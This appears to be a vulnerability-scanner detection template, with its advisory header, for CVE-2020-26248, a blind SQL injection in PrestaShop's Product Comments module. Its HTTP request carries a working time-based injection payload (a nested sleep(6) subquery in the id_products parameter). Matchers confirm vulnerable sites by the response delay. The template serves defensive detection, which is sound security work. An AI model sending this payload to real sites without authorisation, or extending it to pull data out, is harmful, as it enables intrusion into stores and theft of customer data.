PrestaShop Product Comments <4.2.0 - SQL Injection

2022-09-3016:27:58

ProjectDiscovery

github.com

cve

2020

packetstorm

sqli

prestashop

productcomments

CVSS2

6.4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:N/A:P

CVSS3

8.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

EPSS

0.019

Percentile

88.5%

JSON

PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.

id: CVE-2020-26248

info:
  name: PrestaShop Product Comments <4.2.0 - SQL Injection
  author: edoardottt
  severity: high
  description: |
    PrestaShop Product Comments module before version 4.2.1 contains a SQL injection vulnerability, An attacker can use a blind SQL injection to retrieve data or stop the MySQL service, thereby possibly obtaining sensitive information, modifying data, and/or executing unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in 4.2.1.
  reference:
    - https://packetstormsecurity.com/files/160539/PrestaShop-ProductComments-4.2.0-SQL-Injection.html
    - https://packagist.org/packages/prestashop/productcomments
    - https://github.com/PrestaShop/productcomments/security/advisories/GHSA-5v44-7647-xfw9
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26248
    - https://github.com/PrestaShop/productcomments/commit/7c2033dd811744e021da8897c80d6c301cd45ffa
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
    cvss-score: 8.2
    cve-id: CVE-2020-26248
    cwe-id: CWE-89
    epss-score: 0.01617
    epss-percentile: 0.87187
    cpe: cpe:2.3:a:prestashop:productcomments:*:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: prestashop
    product: productcomments
    framework: prestashop
  tags: cve,cve2020,packetstorm,sqli,prestshop,prestashop

http:
  - raw:
      - |
        @timeout: 20s
        GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "average_grade")'
        condition: and
# digest: 4b0a00483046022100bfb60507528a715a3186e6f06262c9534c16003bc96c3baa4049108a3d06d67a0221008662896abf6d4938c136f30d2492fc638fb1157aea901a3875741b3251869743:922c64590222798bb761d5b6d8e72950